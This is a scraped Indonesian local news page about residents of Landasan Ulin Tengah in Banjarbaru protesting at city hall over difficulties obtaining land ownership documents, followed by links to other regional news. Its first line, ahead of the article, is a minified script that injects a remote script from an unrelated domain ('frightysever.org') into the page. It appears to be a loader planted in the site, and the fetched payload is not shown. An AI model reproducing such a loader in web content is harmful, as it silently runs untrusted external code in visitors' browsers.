(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Soal Tanah, Warga Landasan Ulin Tengah Ngadu ke Balaikota


BANJARBARU, Puluhan warga RT 06 RW 02 Kelurahan Landasan Ulin Tengah datangi halaman Balaikota Banjarbaru, Senin (16/7). Warga menuntut pemerintah segera menyelesaikan masalah tanah yang belum dibuatkan surat kepemilikan tanah, dan segera meminta dibuatkan surat kepemilikan tanah (sporadik).

Sumaji, salah satu warga mengatakan, kedatangan mereka hanya untuk mengadukan kejelasan tanah yang dimiliki mereka selama ini. Warga dibikin gusar karena ketika mengurus bukti kepemilikan, ada kesulitan untuk pembuatan surat tanah dari kelurahan.

“Kami sudah bermukin di sana jauh sebelum seperti seramai sekarang, saya punya tanah seluas 17×25 meter, tanah itu memang tanah kami, namun ketika ingin mengurus surat-surat kepemilikan seperti dipersulit oleh pihak kelurahan,” keluhnya.

Sebagai bukti adanya kepemilikan tanah yang dimilikinya saat ini, Sumaji mdengaku mengantongi kwitansi segel jual beli, namun ketika mengurus ke kelurahan tidak bisa terlaksana. Terkesan seakan dipersulit, padahal kebanyakan tanah tersebut dipergunakan masyarakat untuk bertani.

“Harapan saya mudah-mudahan pemerintah bisa membantu dan bisa mengatasi kesusahan warga biar kami semua nyaman dan enak bekerja,” ujarnya.

Sementara itu menurut Ketua KAKI Kalsel Akhmad Husaini yang mendampingi warga bertemu dengan Pemko Banjarbaru mengatakan, ada dua poin kesepakatan yang mereka bicarakan. Pertama, dugaan pelayanan publik yang kurang memuaskan kepada masyarakat dari pihak terkait. Kedua Pemko Banjarbaru akan melakukan penyelidikan dan meninjau ke lokasi tanah tersebut, dengan tujuan untuk mencari solusi maupun jalan keluar atas permasalahan tersebut.

“Ada dua poin yang disimpulkan dalam mediasi tadi, salah satunya pelayanan public yang diberikan oleh pihak yang terkait, karena begitu susahnya masyarakat untuk mengolah sporadik,” jelasnya. “Warga tidak mau ada masalah ke ranah hukum,” tegasnya.

Masih menurut Husaini sejumlah sudah mempunyai sertifikat maupun bukti kuitansi jual beli, namun ada pihak yang mengklaim tanah tersebut. (rendy)

Reporter:rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

8 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

8 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

9 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

9 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

9 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.